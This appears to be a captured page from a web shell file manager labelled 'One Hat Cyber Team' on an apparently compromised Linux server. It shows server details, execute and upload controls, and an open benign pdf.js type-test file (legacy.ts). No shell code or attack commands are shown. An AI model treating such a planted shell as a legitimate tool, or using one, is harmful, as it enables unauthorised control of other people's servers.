⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
pusaka
/
public
/
assets
/
pdfjs
/
test
/
types
/
Edit File: legacy.ts
import { getDocument } from "pdfjs-dist/legacy/build/pdf.mjs"; import { EventBus } from "pdfjs-dist/legacy/web/pdf_viewer.mjs"; class MainTest { eventBus: EventBus; task: ReturnType<typeof getDocument> | undefined; constructor(public file: string) { this.eventBus = new EventBus(); } loadPdf() { this.task = getDocument("file://" + this.file); return this.task.promise; } } // This is actually never called, as the test only consists in compiling the file. // The compilation will crawl through all files and make sure that the types are consistent. const mt = new MainTest("../pdfs/basicapi.pdf"); mt.loadPdf().then(() => { console.log("loaded"); });
Simpan